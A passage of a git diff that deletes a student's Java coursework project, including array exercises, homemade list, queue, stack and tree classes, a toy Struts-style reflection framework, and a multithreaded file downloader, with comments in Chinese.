-        Object[] arr = new Object[length];
-        int index = 0;
-        for (int i = 0; i < length; i++) {
-            if (oldArray[i] != value) {
-                arr[index] = oldArray[i];
-                index++;
-            }
-        }
-        Object[] newArr = new Object[index];
-        System.arraycopy(arr, 0, newArr, 0, index);
-        return newArr;
-    }
-
-    /**
-     * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-     * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-     *
-     * @param array1
-     * @param array2
-     * @return
-     */
-
-    public int[] merge(int[] array1, int[] array2) {
-        int length1 = array1.length;
-        int length2 = array2.length;
-        int[] arr = new int[length1 + length2];
-
-        System.arraycopy(array1, 0, arr, 0, length1);
-        System.arraycopy(array2, 0, arr, length1, length2);
-
-        //去重
-        for(int i = 0; i < arr.length; i++){
-            for(int j = 0; j < arr.length; j++){
-                if(i != j && arr[i] == arr[j]){
-                    arr[j] = 0;
-                }
-            }
-        }
-
-
-        int[] data = removeZero(arr);
-        int length = data.length;
-
-        //排序
-        for (int i = 0; i < length; i++) {
-            for(int j = 0; j < length; j++){
-                if(data[i] < data[j]){
-                    int tmp = data[i];
-                    data[i] = data[j];
-                    data[j] = tmp;
-                }
-            }
-        }
-        return data;
-    }
-
-
-    /**
-     * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-     * 注意，老数组的元素在新数组中需要保持
-     * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-     * [2,3,6,0,0,0]
-     *
-     * @param oldArray
-     * @param size
-     * @return
-     */
-    public int[] grow(int[] oldArray, int size) {
-        int[] arr = new int[oldArray.length + size];
-        System.arraycopy(oldArray, 0, arr, 0, oldArray.length);
-        return arr;
-    }
-
-    /**
-     * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-     * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-     * max = 1, 则返回空数组 []
-     *  F(0)=0，F(1)=1, F(n)=F(n-1)+F(n-2)（n>=2，n∈N*）
-     * @param max
-     * @return
-     */
-    public int[] fibonacci(int max) {
-        int[] empty = {};
-        int[] arr2 = {1, 1};
-
-        switch (max){
-            case 0 : return empty;
-            case 1 : return empty;
-            case 2 : return arr2;
-            default: {
-                int[] data = arr2;
-                int d = data[0] + data[1];
-                while (d < max){
-                    int length = data.length;
-                    d = data[length - 1] + data[length - 2];
-                    if(d > max){
-                        return data;
-                    }
-                    int[] temp = new int[data.length + 1];
-                    System.arraycopy(data, 0, temp, 0, length);
-                    temp[length] = d;
-
-                    data = temp;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    /**
-     * 返回小于给定最大值max的所有素数数组
-     * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-     *
-     * @param max
-     * @return
-     */
-    public int[] getPrimes(int max) {
-        int[] data = new int[max];
-        int index = 0;
-        for(int i = 1; i < max; i++){
-            int divided = 0;
-            for(int j = i; j >= 1; j--){
-                if(i % j == 0){
-                    divided++;
-                }
-                if(divided > 2){
-                    break;
-                }else if(j == 1 && divided == 2){
-                    data[index] = i;
-                    index ++;
-                }
-            }
-        }
-
-        int[] result = new int[index];
-        System.arraycopy(data, 0, result, 0, index);
-        return result;
-
-    }
-
-    /**
-     * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-     * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-     *
-     * @param max
-     * @return
-     */
-    public int[] getPerfectNumbers(int max) {
-        int[] perfd = new int[max];
-        int perfIndex = 0;
-        for(int i = 1; i <= max; i++){
-            int index = 0;
-            int[] data = new int[i];
-            for(int j = i - 1; j >= 1; j--){
-                if(i % j == 0){
-                    data[index] = j;
-                    index ++;
-                }
-
-                if(j == 1 && getSum(data) == i){
-                    perfd[perfIndex] = i;
-                    perfIndex++;
-                }
-            }
-        }
-
-        return removeZero(perfd);
-    }
-
-    private int getSum(int[] arr){
-        int sum = 0;
-        for(int i : arr){
-            sum += i;
-        }
-        return sum;
-    }
-
-    /**
-     * 用seperator 把数组 array给连接起来
-     * 例如array= [3,8,9], seperator = "-"
-     * 则返回值为"3-8-9"
-     *
-     * @param array
-     * @param seperator
-     * @return
-     */
-    public String join(int[] array, String seperator) {
-        StringBuffer sb = new StringBuffer();
-        for(int i : array){
-            sb.append(i).append(seperator);
-        }
-        return sb.substring(0, sb.length() - 1).toString();
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/BinaryTreeNode.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/BinaryTreeNode.java
deleted file mode 100644
index 5050ae3c95..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/dataStructure/BinaryTreeNode.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package basic.dataStructure;
-
-/**
- * Created by macvi on 2017/4/4.
- */
-public class BinaryTreeNode {
-    private int data;
-    private BinaryTreeNode left;
-    private BinaryTreeNode right;
-
-    private BinaryTreeNode(){}
-
-    public BinaryTreeNode(int data){
-        this.data = data;
-        this.left = null;
-        this.right = null;
-    }
-
-    public void setData(int data){
-        BinaryTreeNode node = new BinaryTreeNode(data);
-        if(compareTo(data)){
-            if(this.left == null){
-                this.left = node;
-            }else{
-                this.left.setData(data);
-            }
-        }else{
-            if(this.right == null){
-                this.right = node;
-            }else{
-                this.right.setData(data);
-            }
-        }
-    }
-
-    public int getData(){
-        return data;
-    }
-
-    private boolean compareTo(int d) {
-        System.out.println("data=" + this.data + ", d=" + d);
-        return this.data > d;
-    }
-
-    private StringBuffer dataStr = new StringBuffer();
-    private int index = 0;
-//    public String toString(BinaryTreeNode node) {
-//        while (node.left != null || node.right != null){
-//            dataStr.append(index + "层，数据=").append(node.data).append("|");
-//            if(node.left != null){
-//                dataStr.append(node.left.data)
-//            }
-//            index ++;
-//        }
-//
-//        return dataStr.toString();
-//    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/LinkedList.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/LinkedList.java
deleted file mode 100644
index 3ac85ad37b..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/dataStructure/LinkedList.java
+++ /dev/null
@@ -1,341 +0,0 @@
-package basic.dataStructure;
-
-/**
- * Created by macvi on 2017/4/3.
- */
-public class LinkedList implements List {
-    private Node head;
-
-    public LinkedList() {
-        this.head = new Node();
-    }
-
-    public void add(Object o) {
-        if (this.head.data == null) {
-            this.head = new Node(o, null);
-        } else {
-            Node temp = this.head;
-            while (temp.next != null) {
-                temp = temp.next;
-            }
-            temp.next = new Node(o, null);
-        }
-    }
-
-    public void add(int index, Object o) {
-        if (index > this.size() || index < 0) {
-            throw new IndexOutOfBoundsException();
-        }
-
-        if(index == 0){
-            Node newNode = new Node(o, this.head);
-            this.head = newNode;
-            return;
-        }
-
-        if(index == this.size()){
-            this.add(o);
-            return;
-        }
-
-        Node before = getNode(index - 1);
-        Node next = getNode(index);
-        Node newNode = new Node(o, next);
-        before.next = newNode;
-
-    }
-
-    private Node getNode(int index) {
-        int i = 0;
-        Node temp = this.head;
-        while (temp.data != null) {
-            if (index == i) {
-                return temp;
-            }
-
-            if (temp.next != null) {
-                temp = temp.next;
-            } else break;
-
-            i++;
-        }
-
-        return null;
-    }
-
-    public Object get(int index) {
-        if (index > this.size() || index < 0) {
-            throw new IndexOutOfBoundsException();
-        }
-
-        return this.getNode(index).data;
-    }
-
-    public Object remove(int index) {
-        if(index > this.size() || index < 0){
-            throw new IndexOutOfBoundsException();
-        }
-
-        Object removed = get(index);
-
-        Node before = getNode(index - 1);
-        Node next = getNode(index + 1);
-        before.next = next;
-
-        return removed;
-    }
-
-    public int size() {
-        int size = 0;
-        Node temp = this.head;
-        while (temp.data != null) {
-            size++;
-            if (temp.next != null) {
-                temp = temp.next;
-            } else break;
-        }
-
-        return size;
-    }
-
-    public void asList(Object[] array){
-        LinkedList list = new LinkedList();
-        for(int i = 0; i < array.length; i++){
-            list.add(array[i]);
-        }
-
-        this.head = list.head;
-    }
-
-    public Object[] toArray(LinkedList list){
-        int size = list.size();
-        Object[] arr = new Object[size];
-        for(int i = 0; i < size; i++){
-            arr[i] = list.get(i);
-        }
-
-        return arr;
-    }
-
-    public String toString() {
-        StringBuffer sb = new StringBuffer();
-        Node temp = this.head;
-        while (temp.data != null) {
-            sb.append(temp.data.toString()).append(",");
-            if (temp.next != null) {
-                temp = temp.next;
-            } else break;
-        }
-
-        return sb.toString();
-    }
-
-    private static class Node {
-        Object data;
-        Node next;
-
-        public Node() {}
-
-        public Node(Object obj, Node next) {
-            this.data = obj;
-            this.next = next;
-        }
-
-    }
-
-
-    /**
-     * 把该链表逆置
-     * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-     */
-    public void reverse(){
-        int size = this.size();
-
-        if(size == 1){
-            return;
-        }
-
-        Object[] data = new Object[size];
-        for(int i = 0; i < size; i++){
-            data[i] = this.get(i);
-        }
-
-        this.head = new Node();
-
-        for(int i = size - 1; i >= 0; i--){
-            this.add(data[i]);
-        }
-    }
-
-    /**
-     * 删除一个单链表的前半部分
-     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-     */
-    public  void removeFirstHalf(){
-        int size = this.size();
-        int index = this.size()/2;
-        ArrayList al = new ArrayList();
-        for(int i = index; i < size; i++){
-            al.add(this.get(i));
-        }
-
-        this.head = new Node();
-
-        for(int i = 0; i < al.size(); i++){
-            this.add(al.get(i));
-        }
-    }
-
-    /**
-     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-     * @param i
-     * @param length
-     */
-    public  void remove(int i, int length){
-        for(int j = i; j < i + length; j++){
-            this.remove(i);
-        }
-    }
-    /**
-     * 假定当前链表和listB均包含已升序排列的整数
-     * 从当前链表中取出那些listB所指定的元素
-     * 例如当前链表 = 11->101->201->301->401->501->601->701
-     * listB = 1->3->4->6
-     * 返回的结果应该是[101,301,401,601]
-     * @param list
-     */
-    public  int[] getElements(LinkedList list){
-        int size = list.size();
-        int[] arr = new int[size];
-        for(int i = 0; i < size; i++){
-            int index = (Integer) list.get(i);
-            arr[i] = (Integer) this.get(index);
-        }
-
-        return arr;
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 从当前链表中中删除在listB中出现的元素
-
-     * @param list
-     */
-
-    public void subtract(LinkedList list){
-        Object[] arr1 = toArray(this);
-        Object[] arr2 = toArray(list);
-        for(int i = 0; i < arr2.length; i++){
-            arr1 = ArrayUtil.remove(arr1, arr2[i]);
-        }
-
-        asList(arr1);
-    }
-
-    /**
-     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-     */
-    public void removeDuplicateValues(){
-        int size = this.size();
-        ArrayList indexList = new ArrayList();
-        ArrayList valueList = new ArrayList();
-        for(int i = 0; i < size; i ++){
-            int valueI = (Integer)this.get(i);
-            int index = 0;
-            for(int j = i + 1; j < size; j++){
-                if(valueList.contains(valueI)){
-                    continue;
-                }
-                int valueJ = (Integer) this.get(j);
-                if(valueJ == valueI){
-                    index++;
-                }
-
-                if(index > 0){
-                    indexList.add(j);
-                    valueList.add(valueJ);
-                }
-            }
-        }
-
-        Object[] arr = new Object[size];
-        for(int i = 0; i < size; i++){
-            arr[i] = indexList.contains(i) ? false : this.get(i);
-        }
-
-        ArrayUtil au = new ArrayUtil();
-        arr = au.remove(arr, false);
-
-        asList(arr);
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-     * @param min
-     * @param max
-     */
-    public void removeRange(int min, int max){
-        int size = this.size();
-        int[] range = new int[max - min];
-        int index = 0;
-        for(int i = 0; i < size; i++){
-            int value = (Integer) this.get(i);
-            if(value > min && value < max){
-                range[index] = value;
-                index++;
-            }
-        }
-
-        Object[] arr = new Object[size];
-        for(int i = 0; i < size; i++){
-            arr[i] = this.get(i);
-        }
-
-        for(int i = 0; i < range.length; i++){
-            arr = ArrayUtil.remove(arr, range[i]);
-        }
-
-        asList(arr);
-    }
-
-    /**
-     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-     * @param list
-     */
-    public LinkedList intersection( LinkedList list){
-        //组合成新的链表
-        int listSize = list.size();
-        for(int i = 0 ; i < listSize; i ++){
-            this.add(list.get(i));
-        }
-
-        //转化成数组
-        int size = this.size();
-        int[] arr = new int[size];
-        for(int i = 0; i < size; i++){
-            arr[i] = (Integer)this.get(i);
-        }
-        //排序
-        for(int i = 0; i < size - 1; i ++){
-            for(int j = 0; j < size - i - 1; j ++){
-                if(arr[j] >= arr[j + 1]){
-                    int temp = arr[j];
-                    arr[j] = arr[j + 1];
-                    arr[j + 1] = temp;
-                }
-            }
-        }
-
-        //组装
-        LinkedList li = new LinkedList();
-        for(int i = 0; i < size; i ++){
-            li.add(arr[i]);
-        }
-        return li;
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/List.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/List.java
deleted file mode 100644
index dc2a62aab3..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/dataStructure/List.java
+++ /dev/null
@@ -1,12 +0,0 @@
-package basic.dataStructure;
-
-/**
- * Created by macvi on 2017/4/2.
- */
-public interface List {
-    void add(Object o);
-    void add(int index, Object o);
-    Object get(int index);
-    Object remove(int index);
-    int size();
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/Queue.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/Queue.java
deleted file mode 100644
index 36ca7e9647..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/dataStructure/Queue.java
+++ /dev/null
@@ -1,72 +0,0 @@
-package basic.dataStructure;
-
-/**
- * Created by macvi on 2017/4/4.
- */
-public class Queue {
-    private Object[] data;
-
-    private int size = 10;
-
-    private int extendedSize = 10;
-
-    public Queue(){
-        this.data = new Object[size];
-    }
-
-    public Queue(Object o){
-        this.data = new Object[size];
-        data[0] = o;
-    }
-
-    public void enQueue(Object o){
-        //被添加的位置
-        int index = this.size();
-        if(this.size() == this.size){
-            this.size += extendedSize;
-            Object[] newData = new Object[this.size];
-            System.arraycopy(this.data, 0, newData, 0, index);
-            newData[index] = o;
-            this.data = newData;
-        }else{
-            this.data[index] = o;
-        }
-    }
-
-    public Object deQueue(){
-        Object[] newData = new Object[this.size];
-        Object d = this.data[0];
-        System.arraycopy(this.data, 1, newData, 0, this.size - 1);
-        this.data = newData;
-
-        return d;
-    }
-
-    public Object peek(){
-        return this.data[0];
-    }
-
-    public boolean isEmpty(){
-        return peek() == null;
-    }
-
-    public int size(){
-        int size = 0;
-        for(Object obj : this.data){
-            size += obj == null ? 0 : 1;
-        }
-
-        return size;
-    }
-
-    @Override
-    public String toString() {
-        StringBuffer sb = new StringBuffer();
-        for(Object obj : this.data){
-            if(obj != null){
-                sb.append(obj.toString()).append(",");
-            }else break;
-        }
-        return sb.toString();
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/dataStructure/Stack.java b/group24/75939388/learning2017/src/main/java/basic/dataStructure/Stack.java
deleted file mode 100644
index bea16033fa..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/dataStructure/Stack.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package basic.dataStructure;
-
-/**
- * Created by macvi on 2017/4/4.
- */
-public class Stack {
-
-    private ArrayList elementData = new ArrayList();
-
-    public void push(Object o){
-        this.elementData.add(o);
-    }
-
-    public Object pop(){
-        int index = elementData.size() - 1;
-        Object obj = elementData.remove(index);
-
-        return obj;
-    }
-
-    public Object peek(){
-        int index = elementData.size() - 1;
-        return elementData.get(index);
-    }
-    public boolean isEmpty(){
-        return peek() == null;
-    }
-    public int size(){
-        return elementData.size();
-    }
-
-    @Override
-    public String toString() {
-        StringBuffer sb = new StringBuffer();
-        for(int i = this.size() - 1; i >= 0; i--){
-            sb.append(elementData.get(i).toString()).append(",");
-        }
-
-        return sb.toString();
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/liteStruts/LoginAction.java b/group24/75939388/learning2017/src/main/java/basic/liteStruts/LoginAction.java
deleted file mode 100644
index 14b8aba8e2..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/liteStruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package basic.liteStruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/liteStruts/ReadXML.java b/group24/75939388/learning2017/src/main/java/basic/liteStruts/ReadXML.java
deleted file mode 100644
index 458b247e18..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/liteStruts/ReadXML.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package basic.liteStruts;
-
-import org.dom4j.Document;
-import org.dom4j.io.SAXReader;
-
-import java.io.File;
-
-/**
- * @author : 温友朝
- * @date : 2017/4/10
- */
-public class ReadXML {
-    Document document;
-
-    public ReadXML(String filePath) throws Exception{
-        SAXReader reader = new SAXReader();
-        document = reader.read(new File(ReadXML.class.getResource("/").getFile()) + filePath);
-    }
-
-    public String getActionClass(String actionName){
-        return document.selectSingleNode("//action[@name='" + actionName + "']").valueOf("@class");
-    }
-
-    public String getJspPage(String actionName, String result){
-        return document.selectSingleNode("//action[@name='" + actionName + "']")
-                .selectSingleNode("//result[@name='" + result + "']").getText();
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/liteStruts/Struts.java b/group24/75939388/learning2017/src/main/java/basic/liteStruts/Struts.java
deleted file mode 100644
index 3b28f2bf60..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/liteStruts/Struts.java
+++ /dev/null
@@ -1,78 +0,0 @@
-package basic.liteStruts;
-
-import java.lang.reflect.Method;
-import java.util.Map;
-
-
-public class Struts {
-    /**
-     * 0. 读取配置文件struts.xml
-     * <p>
-     * 1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-     * 据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
-     * ("name"="test" ,  "password"="1234") ,
-     * 那就应该调用 setName和setPassword方法
-     * <p>
-     * 2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-     * <p>
-     * 3. 通过反射找到对象的所有getter方法（例如 getMessage）,
-     * 通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,
-     * 放到View对象的parameters
-     * <p>
-     * 4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，
-     * 放到View对象的jsp字段中。
-     */
-    public static View runAction(String actionName, Map<String, String> parameters) {
-        try{
-            //0. 读取配置文件struts.xml
-            ReadXML read = new ReadXML("/resources/struts.xml");
-            //1. 找到对应的class
-            String className = read.getActionClass(actionName);
-            Class clz = Class.forName(className);
-            //得到对象
-            Object la = clz.newInstance();
-            setNameAndPassword(clz, la, parameters);
-            //2. 调用execute方法
-            String result = invokeExecute(clz, la);
-            //3. 找到对象的所有getter方法
-            getResultMap(clz, la, parameters);
-            //4. 确定使用哪一个jsp
-            String viewName = read.getJspPage(actionName, result);
-            View view = new View();
-            view.setJsp(viewName);
-            view.setParameters(parameters);
-            return view;
-        }catch(Exception e){
-            e.printStackTrace();
-            return null;
-        }
-    }
-
-    private static void setNameAndPassword(Class clz, Object la, Map<String, String> parameters) throws Exception {
-        Method setName = clz.getDeclaredMethod("setName", String.class);
-        setName.invoke(la, parameters.get("name"));
-
-        Method setPassword = clz.getDeclaredMethod("setPassword", String.class);
-        setPassword.invoke(la, parameters.get("password"));
-    }
-
-    private static String invokeExecute(Class clz, Object la)throws Exception{
-        Method execute = clz.getDeclaredMethod("execute", null);
-        Method getMessage = clz.getDeclaredMethod("getMessage", null);
-        execute.invoke(la, null);
-        return getMessage.invoke(la, null).toString();
-    }
-
-    private static void getResultMap(Class clz, Object la, Map<String, String> parameters) throws Exception{
-        Method[] methods = clz.getMethods();
-        for(Method me : methods){
-            if(me.getName().startsWith("get")){
-                String info = me.invoke(la, null).toString();
-                String method= me.getName();
-                String key = method.substring(3, method.length()).toLowerCase();
-                parameters.put(key, info);
-            }else continue;
-        }
-
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/basic/liteStruts/View.java b/group24/75939388/learning2017/src/main/java/basic/liteStruts/View.java
deleted file mode 100644
index 777380b8f9..0000000000
--- a/group24/75939388/learning2017/src/main/java/basic/liteStruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package basic.liteStruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group24/75939388/learning2017/src/main/java/miniJVM/Demo.java b/group24/75939388/learning2017/src/main/java/miniJVM/Demo.java
deleted file mode 100644
index 565983ab06..0000000000
--- a/group24/75939388/learning2017/src/main/java/miniJVM/Demo.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package miniJVM;
-
-/**
- * Created by macvi on 2017/4/11.
- */
-public class Demo {
-}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/DownloadThread.java b/group24/75939388/learning2017/src/main/java/thread/download/DownloadThread.java
deleted file mode 100644
index 190cae6423..0000000000
--- a/group24/75939388/learning2017/src/main/java/thread/download/DownloadThread.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package thread.download;
-
-
-import thread.download.api.Connection;
-
-import java.io.RandomAccessFile;
-import java.util.concurrent.CyclicBarrier;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-
-	String localFile = "";
-
-	CyclicBarrier barrier;
-
-	public DownloadThread(Connection conn, int startPos, int endPos, String localFileName, CyclicBarrier barrier){
-		this.localFile = localFileName;
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-		this.barrier = barrier;
-	}
-	public void run(){
-		try{
-			RandomAccessFile file = new RandomAccessFile(localFile, "rw");
-			byte[] buffer = this.conn.read(this.startPos, this.endPos);
-			file.seek(startPos);
-			file.write(buffer);
-			file.close();
-			this.conn.close();
-			barrier.await();
-		}catch(Exception e){
-		    e.printStackTrace();
-		}
-	}
-}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/FileDownloader.java b/group24/75939388/learning2017/src/main/java/thread/download/FileDownloader.java
deleted file mode 100644
index f50560b8be..0000000000
--- a/group24/75939388/learning2017/src/main/java/thread/download/FileDownloader.java
+++ /dev/null
@@ -1,106 +0,0 @@
-package thread.download;
-
-import thread.download.api.Connection;
-import thread.download.api.ConnectionManager;
-import thread.download.api.DownloadListener;
-
-import java.io.File;
-import java.io.RandomAccessFile;
-import java.util.concurrent.CyclicBarrier;
-
-public class FileDownloader {
-	
-	String url;
-	String fileLocation;
-	DownloadListener listener;
-	ConnectionManager cm;
-
-	RandomAccessFile file;
-
-	int length;
-
-	private static final int MAX_THREAD_NUM = 5;
-
-
-	public FileDownloader(String _url, String fileLocation) {
-		this.url = _url;
-		this.fileLocation = fileLocation;
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-
-		try {
-			CyclicBarrier barrier = new CyclicBarrier(MAX_THREAD_NUM, new Runnable() {
-				public void run() {
-					listener.notifyFinished();
-				}
-			});
-
-			conn = cm.open(this.url);
-			this.length = conn.getContentLength();
-
-			file = getEmptyFile();
-
-			int divided = length/MAX_THREAD_NUM;
-			int[] pos = new int[MAX_THREAD_NUM + 1];
-			for(int i = 0; i < MAX_THREAD_NUM; i++){
-				pos[i] = i == 0 ? 0 : divided * i;
-			}
-			pos[MAX_THREAD_NUM] = length;
-
-			for(int i = 0; i < MAX_THREAD_NUM; i++){
-				new DownloadThread(conn, pos[i], pos[i + 1] - 1, this.fileLocation, barrier).start();
-			}
-
-
-			File file2 = new File(fileLocation);
-			System.out.println("file.length=" + file2.length());
-		} catch (Exception e) {
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-	}
-
-	public RandomAccessFile getEmptyFile(){
-		try{
-			RandomAccessFile file = new RandomAccessFile(this.fileLocation, "rw");
-			byte[] empty = new byte[this.length];
-			file.write(empty);
-			file.close();
-			return file;
-		}catch(Exception e){
-			e.printStackTrace();
-		}
-		return null;
-	}
-
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/api/Connection.java b/group24/75939388/learning2017/src/main/java/thread/download/api/Connection.java
deleted file mode 100644
index 08a85b35dd..0000000000
--- a/group24/75939388/learning2017/src/main/java/thread/download/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package thread.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos, int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionException.java b/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionException.java
deleted file mode 100644
index e8fac91d1e..0000000000
--- a/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionException.java
+++ /dev/null
@@ -1,8 +0,0 @@
-package thread.download.api;
-
-public class ConnectionException extends Exception {
-
-    public ConnectionException(String msg){
-        super(msg);
-    }
-}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionManager.java b/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionManager.java
deleted file mode 100644
index f5f6c2ff70..0000000000
--- a/group24/75939388/learning2017/src/main/java/thread/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package thread.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	Connection open(String url) throws ConnectionException;
-}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/api/DownloadListener.java b/group24/75939388/learning2017/src/main/java/thread/download/api/DownloadListener.java
deleted file mode 100644
index 16393c4dd9..0000000000
--- a/group24/75939388/learning2017/src/main/java/thread/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package thread.download.api;
-
-public interface DownloadListener {
-	void notifyFinished();
-}
diff --git a/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionImpl.java b/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionImpl.java
deleted file mode 100644
index 2e2544ab27..0000000000
--- a/group24/75939388/learning2017/src/main/java/thread/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,93 +0,0 @@
-package thread.download.impl;
-
-import thread.download.api.Connection;
-import thread.download.api.ConnectionException;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.ConnectException;
-import java.net.HttpURLConnection;
-import java.net.URL;
-
-public class ConnectionImpl implements Connection {
-
-    private int length = 0;
-
-    private URL url;
-
-    private HttpURLConnection conn;
-
-    private InputStream is;
-
-    private ByteArrayOutputStream baos;
-
-    private ConnectionImpl() {}
-
-    public ConnectionImpl(URL url) {
-        this.url = url;
-        try {
-            this.conn = (HttpURLConnection) url.openConnection();
-            this.conn.setRequestMethod("GET");
-            this.conn.setReadTimeout(5000);
-            int responseCode = this.conn.getResponseCode();
-            System.out.println("连接状态=" + responseCode);
